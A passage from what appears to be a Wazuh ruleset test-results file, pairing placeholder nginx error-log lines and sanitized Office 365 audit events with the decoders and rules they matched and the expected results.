"5", "expected_decoder": "nginx-errorlog", "expected_rule": "31303", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Nginx critical message."} +{"log": "2015/01/08 11:31:23 [error] 80:2 blah blah failed (2: No such file or directory)", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31310", "level": "0", "expected_decoder": "nginx-errorlog", "expected_rule": "31310", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Server returned 404 (reported in the access.log)."} +{"log": "2015/01/08 11:31:23 [error] 80:2 blah blah is not found (2: No such file or directory)", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31310", "level": "0", "expected_decoder": "nginx-errorlog", "expected_rule": "31310", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Server returned 404 (reported in the access.log)."} +{"log": "2015/01/08 11:31:23 [error] 80:2 blah blah accept() failed (53: Software caused connection abort)", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31311", "level": "0", "expected_decoder": "nginx-errorlog", "expected_rule": "31311", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Incomplete client request."} +{"log": "2015/01/08 11:31:23 [error] 80:2 no user/password was provided for basic authentication", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31312", "level": "0", "expected_decoder": "nginx-errorlog", "expected_rule": "31312", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Initial 401 authentication request."} +{"log": "2015/01/08 11:31:23 [error] 80:2 yadda password mismatch, client yadda", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31315", "level": "5", "expected_decoder": "nginx-errorlog", "expected_rule": "31315", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Web authentication failed."} +{"log": "2015/01/08 11:31:23 [error] 80:2 yadda was not found in yadda", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31315", "level": "5", "expected_decoder": "nginx-errorlog", "expected_rule": "31315", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Web authentication failed."} +{"log": "2015/01/08 11:31:23 [crit] 80:2 yadda yadda failed (2: No such file or directory", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31317", "level": "0", "expected_decoder": "nginx-errorlog", "expected_rule": "31317", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Common cache error when files were removed."} +{"log": "2015/01/08 11:31:23 [error] 80:2 yadda yadda failed (36: File name too long)", "decoder": "nginx-errorlog", "parent": "", "fields": {}, "field_names": [], "rule": "31320", "level": "10", "expected_decoder": "nginx-errorlog", "expected_rule": "31320", "rule_matches_expected": true, "ini_file": "nginx.ini", "section": "Invalid URI, file name too long."} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"Rule\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "Rule", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91532", "level": "3", "expected_decoder": "json", "expected_rule": "91532", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 GenericRule"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ExchangeAdmin\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"1\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "1", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ExchangeAdmin"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91533", "level": "3", "expected_decoder": "json", "expected_rule": "91533", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ExchangeAdmin"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ExchangeItem\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"2\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "2", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ExchangeItem"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91534", "level": "3", "expected_decoder": "json", "expected_rule": "91534", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ExchangeItem"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ExchangeItemGroup\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"3\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "3", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ExchangeItemGroup"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91535", "level": "3", "expected_decoder": "json", "expected_rule": "91535", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ExchangeItemGroup"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SharePoint\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"4\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "4", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SharePoint"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91536", "level": "3", "expected_decoder": "json", "expected_rule": "91536", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SharePoint"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SharePointFileOperation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"6\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "6", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SharePointFileOperation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91537", "level": "3", "expected_decoder": "json", "expected_rule": "91537", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SharePointFileOperation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"OneDrive\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"7\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "7", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "OneDrive"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91538", "level": "3", "expected_decoder": "json", "expected_rule": "91538", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 OneDrive"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AzureActiveDirectory\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"8\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "8", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AzureActiveDirectory"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91539", "level": "3", "expected_decoder": "json", "expected_rule": "91539", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AzureActiveDirectory"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AzureActiveDirectoryAccountLogon\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"9\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "9", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AzureActiveDirectoryAccountLogon"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91540", "level": "3", "expected_decoder": "json", "expected_rule": "91540", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AzureActiveDirectoryAccountLogon"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"DataCenterSecurityCmdlet\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"10\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "10", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "DataCenterSecurityCmdlet"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91541", "level": "3", "expected_decoder": "json", "expected_rule": "91541", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 DataCenterSecurityCmdlet"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ComplianceDLPSharePoint\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"11\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "11", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ComplianceDLPSharePoint"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91542", "level": "3", "expected_decoder": "json", "expected_rule": "91542", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ComplianceDLPSharePoint"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"ComplianceDLPExchange\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"13\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "13", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "ComplianceDLPExchange"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91543", "level": "3", "expected_decoder": "json", "expected_rule": "91543", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 ComplianceDLPExchange"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SharePointSharingOperation\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"14\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "14", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SharePointSharingOperation"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91544", "level": "3", "expected_decoder": "json", "expected_rule": "91544", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SharePointSharingOperation"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"AzureActiveDirectoryStsLogon\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"15\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "15", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "AzureActiveDirectoryStsLogon"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91545", "level": "3", "expected_decoder": "json", "expected_rule": "91545", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 AzureActiveDirectoryStsLogon"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SkypeForBusinessPSTNUsage\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"16\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "16", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SkypeForBusinessPSTNUsage"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91546", "level": "3", "expected_decoder": "json", "expected_rule": "91546", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SkypeForBusinessPSTNUsage"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SkypeForBusinessUsersBlocked\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"17\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "17", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SkypeForBusinessUsersBlocked"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91547", "level": "5", "expected_decoder": "json", "expected_rule": "91547", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SkypeForBusinessUsersBlocked"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"SecurityComplianceCenterEOPCmdlet\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"18\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.OrganizationId": "sanitized", "office365.RecordType": "18", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "SecurityComplianceCenterEOPCmdlet"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91548", "level": "5", "expected_decoder": "json", "expected_rule": "91548", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SecurityComplianceCenterEOPCmdlet"} +{"log": 